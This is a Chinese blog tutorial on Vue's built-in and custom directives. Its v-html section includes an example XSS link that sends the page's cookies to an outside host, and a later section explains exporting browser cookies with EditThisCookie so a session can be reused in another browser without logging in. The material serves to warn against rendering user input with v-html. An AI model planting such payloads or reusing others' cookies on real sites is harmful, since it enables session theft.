前端框架Vue----内置指令&自定义指令

最新推荐文章于 2024-07-24 04:22:31 发布

laufing

最新推荐文章于 2024-07-24 04:22:31 发布

阅读量1.1k

点赞数

分类专栏：前端框架Vue 文章标签： vue.js 前端框架内置指令自定义

本文链接：https://blog.csdn.net/weixin_45228198/article/details/121967340

版权

前端框架Vue 专栏收录该内容

24 篇文章 1 订阅

订阅专栏

内置指令

v-text = “attr”；使用attr的内容替换标签的内容，相当于原生js的innerText属性



<body>
    <div id="container">
        <span>你好，{{ username }}</span><br>
        <span v-text="age">你好，{{ username }}</span>
    </div>

    <script>
        Vue.config.productionTip = false
        new Vue({
            el: "#container",
            data: {
                username: "jack",
                age: "<h3>23</h3>",//只当成是文本
            },
        })
    </script>
</body>

在这里插入图片描述

v-html=“attr”; 相当于原生js中的innerHTML属性，动态渲染页面时容易产生XSS（盗用Cookie）攻击。
在这里插入图片描述

不过使用这种方式有风险，data中如果有如下数据，可能在页面植入一个恶意的超链接。



str = "<a href='javascript:window.location.href=`https://www.baidu.com/?document.cookie.split(";").map((e)=>{return e.trim()}).join("&")`'>小电影</a>"

恶意的链接会拿到浏览器本域名下的Cookie
在这里插入图片描述
坚决不使用v-html渲染用户输入的内容

v-cloak是一个特殊的属性，当页面网速慢时，防止显示Vue的插值语法{{ xxx }}，一旦Vue实例部分的代码加载到，就删除v-cloak，并渲染数据。


<style>
	[v-cloak]{ //选择具有该属性的节点，控制不显示
		display: none;
	}
</style>
<span v-cloak>{{ username }}</span>

v-once; 第一次渲染属性数据以后，就把对应的结构视为静态内容，后续属性数据变更，该部分也不再变化，可用于页面优化。


<span v-once>{{ username }}</span> //后续username值改变，该部分的页面结构也不再变化

v-pre; 让Vue跳过一些节点，不再查看内部是否有插值语法、指令语法，加快页面渲染速度。


<span v-pre>静态内容</span>

获取浏览器Cookie

手动方式，
使用EditThisCookie编辑、导入、导出Cookie信息。
找到浏览器中的Cookie，打开EditThisCookie插件，点击导出，则复制到剪贴板：

[
	{
    "domain": "127.0.0.1",
    "hostOnly": true,
    "httpOnly": false,
    "name": "a",
    "path": "/",
    "sameSite": "unspecified",
    "secure": false,
    "session": true,
    "storeId": "0",
    "value": "12",
    "id": 1
	},
	{
    "domain": "127.0.0.1",
    "hostOnly": true,
    "httpOnly": false,
    "name": "b",
    "path": "/",
    "sameSite": "unspecified",
    "secure": false,
    "session": true,
    "storeId": "0",
    "value": "23",
    "id": 2
	}
]

在另一个浏览器中导入，即可免登录

命令方式
获取未设置httpOnly的Cookie；
设置httpOnly的Cookie是读取不到。



document.cookie //获取

document.cookie = 'name=lauf' //增加Cookie，一次只能一个key-value

打开浏览器Cookie位置，双击即可编辑；然后不设置httpOnly，设置httpOnly后分别读取数据：
在这里插入图片描述

自定义指令

自定义一个 v-lauf 这样的指令

在data的同级别下创建一个directives配置对象，具体如下：


directives: {//define self  directive指令
    lauf(element, binding){//指令lauf
        console.log("使用自定义指令的真实DOM", element)
        console.log("绑定的属性对象：", binding)
        element.innerText = binding.value
    },
 },

使用时还是用v-lauf

<span v-lauf='username'></span>

2. 自定义一个 v-mybind 指令，实现为input节点绑定value值，并让input自动获取焦点
input自动获取焦点，给一个autofocus属性，或者通过原生js操作


<input type="text" autofocus>
<input type="text" autofocus='autofocus'>

//创建节点对象
let input = document.createElement("input")
input.value = 'xxx'
input.class = 'xx'
//input.autofocus = true
document.body.appendChild(input)
//input.focus() 必须先在页面中，在focus()

使用Vue的实现：


directives: {//define self  directive指令
   mybind(element, binding){
        element.value = binding.value
        //element.autofocus = true  有效果
        element.focus() //没效果，因为节点还没挂到页面
},

以上没有自动获得焦点的结果，怎么办？
以上mybind函数在元素与指令绑定时执行，节点不在页面中，所以无效
其实，Vue接手模板时，有三个阶段：
bind，元素与指令绑定阶段；
inserted，元素插入页面阶段；
update，后续data更新阶段；


mybind: {
     bind(element, binding){
         // 元素与指令绑定时，执行
         element.value = binding.value
     },
     inserted(element, binding){
         // 元素插入页面时，执行
         console.log(element)
         element.focus()
     },
     update(element, binding){
         element.value = binding.value
         element.focus()
     },
 },